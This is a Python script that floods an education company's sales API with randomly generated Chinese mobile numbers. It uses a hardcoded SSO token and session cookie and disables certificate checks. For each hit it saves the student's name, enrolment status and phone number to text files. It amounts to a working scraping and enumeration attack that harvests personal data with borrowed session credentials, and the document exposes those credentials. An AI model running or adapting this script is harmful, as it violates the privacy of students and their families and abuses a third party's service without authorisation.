import json import multiprocessing import threading import time import random import requests import urllib3 lock = threading.RLock() urllib3.disable_warnings() headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "content-type": "application/json;charset=UTF-8", "Cookie": "SSO_TOKEN_KEY=05883cae006cb1cf9be7e0d6bbc823d87012307ed4238837c4d7cee1a7d4228; JSESSIONID=0747712F8F2C68196FA45393A10CFDE6", } nums = 0 def send_routine(phone, nums): try: # lock.acquire() # print(phone) # lock.release() payloadData = {"keyword": phone, "pageNo": 1, "pageSize": 10, "sortField": "", "sortType": ""} # print(payloadData) conten = requests.post(url="https://saleapi.zmlearn.com/api/student/user/searchPage?lang=zh-CN&zone=480", headers=headers, data=json.dumps(payloadData), verify=False) # print(conten.content.decode("utf-8")) conten = json.loads(conten.content.decode("utf-8"))["data"]["list"][0] state = conten["state"] stuName = conten["stuName"] if "非" in state: lock.acquire() with open("非正式生.txt", 'a+', encoding='utf-8') as f: f.write("{}-{}-{}\n".format(stuName, state, phone)) lock.release() else: lock.acquire() with open("其他.txt", 'a+', encoding='utf-8') as f: f.write("{}-{}-{}\n".format(stuName, state, phone)) lock.release() except: pass # lock.acquire() # with open("没数据.txt", 'a+', encoding='utf-8') as f: # f.write("{}-{}-{}\n".format("", "", phone)) # lock.release() # lock.release() def xc(num, nums): # try: # with open("没数据.txt", 'rb') as f: # offset = -50 # f.seek(offset, 2) # lines = f.readlines() # start_num = lines[-1].strip()[-8:] # except: # start_num = 10000000 threading_list = [] for n in range(10000000, 999999990): # for n in range(start_num, 99999999): try: sender = threading.Thread(target=send_routine, args=(num + str(random.randint(10000000, 99999999)), nums,)) # 多线程 sender.start() # 启动 threading_list.append(sender) except: pass for i in threading_list: i.join() if __name__ == '__main__': nums = 0 st = int(time.time()) print(st) multiprocessing_list = [] for n in ["134", "135", "136", "137", "138", "139", "147", "150", "151", "152", "157", "158", "159", "172", "182", "183", "184", "187", "188", "130", "131", "132", "155", "156", "176", "185", "186" "133", "149", "153", "173", "175", "177", "180", "181", "189"]: try: sender = multiprocessing.Process(target=xc, args=(n, nums,)) # 多线程 sender.start() # 启动 multiprocessing_list.append(sender) except: pass for i in multiprocessing_list: i.join()